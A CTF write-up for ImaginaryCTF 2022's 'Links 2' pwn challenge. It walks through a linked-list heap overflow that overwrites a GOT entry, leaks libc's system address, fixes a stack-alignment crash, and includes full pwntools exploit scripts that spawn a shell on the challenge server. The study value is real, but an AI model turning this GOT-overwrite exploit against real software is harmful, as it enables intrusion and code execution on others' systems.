Links 2
Writeup for Links 2 (Pwn) - Imaginary CTF (2022) π
Video Walkthrough
Description
It turns out that there was a bug in how I was handling writing some elements, so I've fixed that. Also, I've stopped putting the flag in a global variable, because that's probably not a good idea. Double check my implementation one more time for me?
Source
void main(void)
{
FILE *pFVar1;
setbuf(stdout,(char *)0x0);
pFVar1 = fopen("./flag.txt","r");
__isoc99_fscanf(pFVar1,&DAT_004021b5,flag);
do {
menu();
} while( true );
}
View elements in the linked list
void view_list(void)
{
long i;
uint j;
if (head == 0) {
puts("No elements in list!\n");
}
else {
j = 0;
for (i = head; i != 0; i = *(long *)(i + 0x40)) {
printf("%d: %s\n",(ulong)j,i);
j = j + 1;
}
putchar(10);
}
return;
}
Write elements to the list
ssize_t write(int __fd,void *__buf,size_t __n)
{
int iVar1;
undefined4 extraout_var;
ssize_t sVar2;
uint index;
void *prev;
int i;
void *next;
void *tail;
void *element;
puts("What element index would you like to write to?");
printf("Valid values: 0 to %d, inclusive\n\n",(ulong)max_len);
printf(">>> ");
__isoc99_scanf(&DAT_004020b3,&index,&dead);
if (((int)index < 0) || ((int)max_len < (int)index)) {
iVar1 = puts("Invalid index!");
sVar2 = CONCAT44(extraout_var,iVar1);
}
else {
/* add/modify head node */
if (index == 0) {
if (head == (void *)0x0) {
head = malloc(0x48);
max_len = max_len + 1;
}
/* write data to node */
sVar2 = write_data(head);
}
else {
/* add node to tail */
if (index == max_len) {
element = malloc(0x48);
/* set node pointer to null */
*(undefined8 *)((long)element + 0x40) = 0;
max_len = max_len + 1;
tail = head;
/* traverse list, from head to tail */
for (next = *(void **)((long)head + 0x40); next != (void *)0x0;
next = *(void **)((long)next + 0x40)) {
tail = next;
}
/* set old tail to point to new tail */
*(void **)((long)tail + 0x40) = element;
/* write data to the node */
sVar2 = write_data(element);
}
else {
/* change node in middle */
i = 1;
prev = head;
/* find correct node index */
element = *(void **)((long)head + 0x40);
for (; (element != (void *)0x0 && (i < (int)index)); i = i + 1) {
/* update node pointers */
prev = element;
element = *(void **)((long)element + 0x40);
}
/* write data to node */
sVar2 = write_data(element);
}
}
}
return sVar2;
}
Write data to an element in the list
void write_data(char *param_1)
{
char *i;
puts("What data do you want to write to this element?\n");
printf(">>> ");
fgets(param_1,100,stdin);
for (i = param_1; *i != '\n'; i = i + 1) {
}
*i = '\0';
return;
}
View time
void view_time(void)
{
system("date");
return;
}
Solution
In the last challenge, Links 1
, we exploited a vulnerable linked list implementation by overwriting a link with the flag address. When we proceeded to view the list, it printed the flag. See the video walkthrough and solve script first so I can minimise repetition.
The only change in the Links 2
source code is that the flag.txt file is not opened. Therefore, we must focus on the view_time
function. If we could overwrite the "date"
string section, it would call system("our_input")
and we could supply "/bin/sh"
. However, the "date"
string is in .rodata
, therefore read-only.
This challenge took me a while to solve, and I had to rethink my approach, so rather than jumping straight to my solution, let's go over some basics and see how we can overcome the problems I ran into when solving.
Reviewing Heap Laylout (PwnDbg)
We'll visualise the heap layout. First, Create a head node (pos=0) and check heap
.
Allocated chunk | PREV_INUSE
Addr: 0x4056a0
Size: 0x51
Top chunk | PREV_INUSE
Addr: 0x4056f0
Size: 0x20911
Confirm with vis_heap_chunks
(or just vis
).
0x4056a0 0x0000000000000000 0x0000000000000051 ........Q.......
0x4056b0 0x00305f4b4e554843 0x0000000000000000 CHUNK_0.........
0x4056c0 0x0000000000000000 0x0000000000000000 ................
0x4056d0 0x0000000000000000 0x0000000000000000 ................
0x4056e0 0x0000000000000000 0x0000000000000000 ................
0x4056f0 0x0000000000000000 0x0000000000020911 ................ <-- Top chunk
Although malloc(0x48)
is called, an 80 byte (0x50
) chunk is returned (0x4056a0
). We see 0x51
because the 0x1
at the LSB indicates the previous chunk is not free. Our input "CHUNK_0"
immediately follows in the chunk data.
Note the Top chunk
at (0x4056f0
) has a size of 0x20911
. We'll see this decrease in size each time malloc allocates more data.
We create a second node (pos=1) and check heap
and vis_heap_chunks
again. Note the decrease in the size of the Top chunk
.
Allocated chunk | PREV_INUSE
Addr: 0x4056a0
Size: 0x51
Allocated chunk | PREV_INUSE
Addr: 0x4056f0
Size: 0x51
Top chunk | PREV_INUSE
Addr: 0x405740
Size: 0x208c1
0x4056a0 0x0000000000000000 0x0000000000000051 ........Q.......
0x4056b0 0x00305f4b4e554843 0x0000000000000000 CHUNK_0.........
0x4056c0 0x0000000000000000 0x0000000000000000 ................
0x4056d0 0x0000000000000000 0x0000000000000000 ................
0x4056e0 0x0000000000000000 0x0000000000000000 ................
0x4056f0 0x0000000000405700 0x0000000000000051 [email protected].......
0x405700 0x00315f4b4e554843 0x0000000000000000 CHUNK_1.........
0x405710 0x0000000000000000 0x0000000000000000 ................
0x405720 0x0000000000000000 0x0000000000000000 ................
0x405730 0x0000000000000000 0x0000000000000000 ................
0x405740 0x0000000000000000 0x00000000000208c1 ................ <-- Top chunk
Our second chunk is at 0x4056f0
, and we can see our input "CHUNK_1"
.
Note that our second chunk at 0x4056f0
holds the address of our first chunk's data (0x405700
); this is the address written by the custom linked list implementation, i.e. it's not a feature of the heap or malloc itself. The line of code responsible for setting this address:
/* set old tail to point to new tail */
*(void **)((long)tail + 0x40) = element;
So whenever we added a new tail node, the last 8 bytes of the previous tail node were updated to point to the data section of the new node.
Our new tail node points to NULL
, evidenced by the fact 0x405740
is set to 0x0
and resulting from the following line of code:
/* set node pointer to null */
*(undefined8 *)((long)element + 0x40) = 0;
We create a third element (pos=2) and check heap
and vis_heap_chunks
again.
Allocated chunk | PREV_INUSE
Addr: 0x4056a0
Size: 0x51
Allocated chunk | PREV_INUSE
Addr: 0x4056f0
Size: 0x51
Allocated chunk | PREV_INUSE
Addr: 0x405740
Size: 0x51
Top chunk | PREV_INUSE
Addr: 0x405790
Size: 0x20871
0x4056a0 0x0000000000000000 0x0000000000000051 ........Q.......
0x4056b0 0x00305f4b4e554843 0x0000000000000000 CHUNK_0.........
0x4056c0 0x0000000000000000 0x0000000000000000 ................
0x4056d0 0x0000000000000000 0x0000000000000000 ................
0x4056e0 0x0000000000000000 0x0000000000000000 ................
0x4056f0 0x0000000000405700 0x0000000000000051 [email protected].......
0x405700 0x00315f4b4e554843 0x0000000000000000 CHUNK_1.........
0x405710 0x0000000000000000 0x0000000000000000 ................
0x405720 0x0000000000000000 0x0000000000000000 ................
0x405730 0x0000000000000000 0x0000000000000000 ................
0x405740 0x0000000000405750 0x0000000000000051 [email protected].......
0x405750 0x00325f4b4e554843 0x0000000000000000 CHUNK_2.........
0x405760 0x0000000000000000 0x0000000000000000 ................
0x405770 0x0000000000000000 0x0000000000000000 ................
0x405780 0x0000000000000000 0x0000000000000000 ................
0x405790 0x0000000000000000 0x0000000000020871 ........q....... <-- Top chunk
Our third chunk is at 0x405740
, and we can see our input "CHUNK_2"
.
Now, the start of our third chunk (0x405740
) contains the address of the third chunk's data (0x406940
).
Overwriting the GOT
In Links 1
, we overflowed one of the elements in the list, overwriting the pointer with the address of bss.flag
. We then viewed the list to print the element. But what if we had tried to write to the element instead? Spoiler; it would write our input to the bss.flag
.
We can't do that with the "date"
string (0x4020c7
) because it's in .rodata
, therefore read-only. Instead, we can try to overwrite an entry in the global offset table (GOT). We can use checksec
to ensure that Full RELRO
is not enabled, as it would prevent us from writing to the GOT.
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
But which Lib-C function call should we replace with system()
? We need to find one that will:
Not break the program before we can get a shell
Take a parameter (RDI) that we can control (to get "/bin/sh" in there)
You may also be wondering how we can get the address of a "/bin/sh" string to populate the RDI in the first place? We could potentially:
Write "/bin/sh" to a writeable section of the program, e.g.
.bss
Leak the address of "/bin/sh" from Lib-C
Write "/bin/sh" to the list and leak the address
It would be even better if we could find a function that takes in a char* from the user and pops it into the RDI for use in a Lib-C function π
It just so happens that we have precisely that. The write_data
function writes our input to an element of the list. It takes our input as a char pointer.
void write_data(char *param_1)
Inside the function, *param_1
(our user input) is supplied as the first parameter to fgets
.
fgets(param_1,100,stdin);
Therefore, our input will be popped into the RDI. We should get a shell if we can replace the fgets
function with system
and supply our "/bin/sh" string.
So our plan of action is as follows:
Add a few nodes to the list
Modify a middle node, ensuring the data begins with "/bin/sh" and fills the 64-byte data so that we can overflow the link with the address of
got.fgets
Modify the next node (the one now pointing to
got.fgets
) and write the address ofgot.system
Try to modify the node where we wrote "/bin/sh", triggering
write_data
and therefore callingsystem("/bin/sh")
instead of the intendedfgets
A couple of things to mention:
To populate the address of
got.system
, the function must be called. Therefore we call theview_time
function before doing our arbitrary write.Calling
view_time
breaks my usualgdb.debug
command; hence thegdb.attach
command in the script. We can use that to debug but unfortunately lose access to theheap
andvis_heap_chunks
commands. If you want to debug using the standard method, comment out the "View time" line of code.
We'll create a PwnTools script, setting a breakpoint at write_data
.
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
break write_data
continue
'''.format(**locals())
# Binary filename
exe = './links2'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Start program
io = start()
# View time (populate system() in GOT)
io.sendlineafter(b'>>>', b'3')
# Add 3 elements to list
for i in range(3):
io.sendlineafter(b'>>>', b'2')
io.sendlineafter(b'>>>', str(i).encode())
io.sendlineafter(b'>>>', b'CHUNK_' + str(i).encode())
# Modify element in list
io.sendlineafter(b'>>>', b'2')
io.sendlineafter(b'>>>', b'1')
# Overwrite the link to point to GOT entry, 0x51 for next chunk size to keep list intact
io.sendlineafter(b'>>>', b'/bin//sh' + (b'\x00' * 56) + flat([elf.got.fgets, 0x51]))
# Add element to list
io.sendlineafter(b'>>>', b'2')
io.sendlineafter(b'>>>', b'2')
io.sendlineafter(b'>>>', flat([elf.got.system]))
# Might need for debugging heap where gdb.debug fails
# gdb.attach(io, gdbscript='''
# init-pwndbg
# continue
# ''')
# See if we've got a shell
io.sendlineafter(b'>>>', b'2')
io.sendlineafter(b'>>>', b'1')
# Got Shell?
io.interactive()
Note when we overwrite the link in the list, we submit 0x51
afterwards to keep our heap intact, e.g. if we don't specify the next chunk's size, the heap won't know where it ends, and the next chunk begins. See the following output when we don't supply 0x51
.
0xd4c240 0x0000000000000000 0x0000000000000000 ................
0xd4c250 0x0000000000000000 0x0000000000000000 ................
0xd4c260 0x0000000000000000 0x0000000000000000 ................
0xd4c270 0x0000000000000000 0x0000000000000000 ................
0xd4c280 0x0000000000000000 0x0000000000000000 ................
0xd4c290 0x0000000000000000 0x0000000000000000 ................
0xd4c2a0 0x0000000000000000 0x0000000000000051 ........Q.......
0xd4c2b0 0x00305f4b4e554843 0x0000000000000000 CHUNK_0.........
0xd4c2c0 0x0000000000000000 0x0000000000000000 ................
0xd4c2d0 0x0000000000000000 0x0000000000000000 ................
0xd4c2e0 0x0000000000000000 0x0000000000000000 ................
0xd4c2f0 0x0000000000d4c300 0x0000000000000051 ........Q.......
0xd4c300 0x68732f2f6e69622f 0x0000000000000000 /bin//sh........
0xd4c310 0x0000000000000000 0x0000000000000000 ................
0xd4c320 0x0000000000000000 0x0000000000000000 ................
0xd4c330 0x0000000000000000 0x0000000000000000 ................
But when do we supply the 0x51
, the top chunk is visible.
0x224e2a0 0x0000000000000000 0x0000000000000051 ........Q.......
0x224e2b0 0x00305f4b4e554843 0x0000000000000000 CHUNK_0.........
0x224e2c0 0x0000000000000000 0x0000000000000000 ................
0x224e2d0 0x0000000000000000 0x0000000000000000 ................
0x224e2e0 0x0000000000000000 0x0000000000000000 ................
0x224e2f0 0x000000000224e300 0x0000000000000051 ..$.....Q.......
0x224e300 0x68732f2f6e69622f 0x0000000000000000 /bin//sh........
0x224e310 0x0000000000000000 0x0000000000000000 ................
0x224e320 0x0000000000000000 0x0000000000000000 ................
0x224e330 0x0000000000000000 0x0000000000000000 ................
0x224e340 0x0000000000404040 0x0000000000000051 @@@.....Q.......
0x224e350 0x00325f4b4e550000 0x0000000000000000 ..UNK_2.........
0x224e360 0x0000000000000000 0x0000000000000000 ................
0x224e370 0x0000000000000000 0x0000000000000000 ................
0x224e380 0x0000000000000000 0x0000000000000000 ................
0x224e390 0x0000000000000000 0x000000000001fc71 ........q....... <-- Top chunk
If we check the got
command, we'll see that fgets
has been overwritten with system
.
[0x404040] fgets@GLIBC_2.2.5 -> 0x404030 (system@got[plt]) ββΈ 0x7fecc1f7fe50 (system) ββ test rdi, rdi
Notice the 0x7fecc1f7fe50
address; this is the address of system
in Lib-C. Now compare that to when we don't call view_time
before overwriting the GOT entry. This will be important later.
[0x404040] fgets@GLIBC_2.2.5 -> 0x404030 (system@got[plt]) ββΈ 0x401066 (system@plt+6) ββ push 3
So what happens when we run through the whole exploit?
Program received signal SIGSEGV, Segmentation fault.
0x0000000000404030 in system@got[plt] ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
βββββββββββββββββββββββββββββββββ[ REGISTERS ]ββββββββββββββββββββββββββββββββββ
RAX 0xdf1300 ββ '/bin//sh'
RBX 0x0
RCX 0x0
RDX 0x7f5183555980 (_IO_2_1_stdin_) ββ 0xfbad2088
RDI 0xdf1300 ββ '/bin//sh'
RSI 0x64
R8 0x31
R9 0x4
R10 0x402059 ββ 0x57000000203e3e3e /* '>>> ' */
R11 0x246
R12 0x4010b0 (_start) ββ xor ebp, ebp
R13 0x0
R14 0x0
R15 0x0
RBP 0x7ffc1c97c540 ββΈ 0x7ffc1c97c580 ββΈ 0x7ffc1c97c5a0 ββΈ 0x7ffc1c97c5b0 ββΈ 0x401520 (__libc_csu_init) ββ ...
RSP 0x7ffc1c97c518 ββΈ 0x401246 (write_data+65) ββ mov rax, qword ptr [rbp - 0x18]
RIP 0x404030 (system@got[plt]) ββΈ 0x7f51833dfe50 (system) ββ test rdi, rdi
βββββββββββββββββββββββββββββββββββ[ DISASM ]βββββββββββββββββββββββββββββββββββ
βΊ 0x404030 <system@got[plt]> push rax
The RIP contains system
and the RDI contains the address of "/bin//sh", yet we got a segfault! The reason is due to stack alignment. Notice that RSP holds 0x7ffc1c97c518
; the trailing 8
indicates that the stack is not 16-byte aligned.
Stack Alignment
If you're segfaulting on a movaps instruction in buffered_vfprintf() or do_system() in the x86_64 challenges, then ensure the stack is 16-byte aligned before returning to GLIBC functions such as printf() or system(). Some versions of GLIBC uses movaps instructions to move data onto the stack in certain functions. The 64 bit calling convention requires the stack to be 16-byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack. movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction.
Stack alignment issues come up in pwn challenges a lot, and the solution typically involves inserting a ret
instruction into the payload, which we can easily find with a tool like ropper
. You can learn a lot more about x64 stack alignment here.
However, in this case, we don't have control of the stack. Instead, we can try to jump to system+1
, i.e. skip the first push rax
instruction, which is causing a segfault.
βΊ 0x404030 <system@got[plt]> push rax
This raises a new problem. Namely, the got.system
address is 0x404030
, so if we enter system+1
it will be 0x404031
. Let's review the GOT.
PTR_system_00404030 XREF[1]: system:00401060
00404030 18 50 addr <EXTERNAL>::system ; = ??
PTR_printf_00404038 XREF[1]: printf:00401070
00404038 20 50 addr <EXTERNAL>::printf ; = ??
got.printf
begins at 0x404038
, so if we write 8 bytes to 0x404031
, we'll overwrite the first byte of got.printf
and miss the first byte of got.system
.
The problem is that the GOT holds a pointer to the function addresses in the Lib-C library. If we want to access system+1
, we must first find the actual address of libc.system
(rather than got.system
).
We can leak the Lib-C address the same way we leaked the flag
in the last challenge. We'll overwrite a link, making the next element point to got.system
(after ensuring the GOT entry is populated), then view the list and extract the address.
We can proceed with the remainder of the exploit, overwriting got.fgets
with leaked_system+1
instead of got.system
. We get a shell and run cat flag.txt
π
python exploit.py REMOTE puzzler7.imaginaryctf.org 2007
[+] Opening connection to puzzler7.imaginaryctf.org on port 2007: Done
[*] leaked got_system: 0x7f4f6a53dd60
[*] Switching to interactive mode
What data do you want to write to this element?
>>> $ cat flag.txt
ictf{who_knew_the_current_date_could_be_so_dangerous?}$
edit: system+1
was not required. When we leak the Lib-C address, we can call it directly from the base. If we setup a breakpoint at write_data
and step through until the fgets
(system
) call:
RSP 0x7fff526190b0 ββ 0x0
*RIP 0x401241 (write_data+60) ββ call 0x401080
ββββββββββββββββββββββββββββββββββββββββββββββββββββββ[ DISASM ]βββββββββββββββββββββββββββββββββββββββββββββββββββββββ
0x401229 <write_data+36> call printf@plt <printf@plt>
0x40122e <write_data+41> mov rdx, qword ptr [rip + 0x2e4b] <stdin@GLIBC_2.2.5>
0x401235 <write_data+48> mov rax, qword ptr [rbp - 0x18]
0x401239 <write_data+52> mov esi, 0x64
0x40123e <write_data+57> mov rdi, rax
βΊ 0x401241 <write_data+60> call fgets@plt <fgets@plt>
s: 0x2394300 ββ '/bin//sh'
n: 0x64
stream: 0x7f174e9c6980 (_IO_2_1_stdin_) ββ 0xfbad2088
Notice that the RSP (0x7fff526190b0
) no longer ends with an 8
, like it did when we were getting a segfault.
double edit: After reading the official write-up, I realised my mistake of using system+1
. I had misinterpreted the advice, as in theirs they use the PLT address of system, rather than leaking from Lib-C. There's a good summary of PLT vs GOT (and plt.got vs got.plt) HERE.
TL;DR: Those starting with .plt contain stubs to jump to the target, those starting with .got are tables of the target addresses.
Here's a snippet of the plt.system
section of the binary. We should of used 0x401060
in this instance.
thunk int system(char * __command)
Thunked-Function: <EXTERNAL>::system
int EAX:4 <RETURN>
char * RDI:8 __command
<EXTERNAL>::system XREF[1]: view_time:0040141a(c)
00401060 ff 25 JMP qword ptr [-><EXTERNAL>::system]
00401066 68 03 PUSH 0x3
0040106b e9 b0 JMP FUN_00401020
Solve Script
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
break write_data
continue
'''.format(**locals())
# Binary filename
exe = './links2'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Start program
io = start()
# View time (populate system() in GOT)
io.sendlineafter(b'>>>', b'3')
# Add 5 elements to list
for i in range(5):
io.sendlineafter(b'>>>', b'2')
io.sendlineafter(b'>>>', str(i).encode())
io.sendlineafter(b'>>>', b'CHUNK_' + str(i).encode())
# Overflow element pointer with got.system address
# This is because we need libc leak for x64 stack align
io.sendlineafter(b'>>>', b'2')
io.sendlineafter(b'>>>', b'3')
# Overwrite the link to point to GOT entry, 0x51 for next chunk size to keep list intact
io.sendlineafter(b'>>>', (b'\x00' * 64) + flat([elf.got.system, 0x51]))
# View list (leak libc.system() address)
io.sendlineafter(b'>>>', b'1')
io.recvuntil(b'3: ')
system = unpack(io.recv()[4:10].ljust(8, b'\x00'))
info("leaked got_system: %#x", system)
# Modify element in list
io.sendline(b'2')
io.sendlineafter(b'>>>', b'1')
# Overwrite the link to point to GOT entry, 0x51 for next chunk size to keep list intact
io.sendlineafter(b'>>>', b'/bin//sh' + (b'\x00' * 56) + flat([elf.got.fgets, 0x51]))
# Add element to list
io.sendlineafter(b'>>>', b'2')
io.sendlineafter(b'>>>', b'2')
# Overwrite got.fgets with system (+1 for for stack alignment)
io.sendlineafter(b'>>>', flat(system + 1))
# See if we've got a shell
io.sendlineafter(b'>>>', b'2')
io.sendlineafter(b'>>>', b'1')
# Got Shell?
io.interactive()
Last updated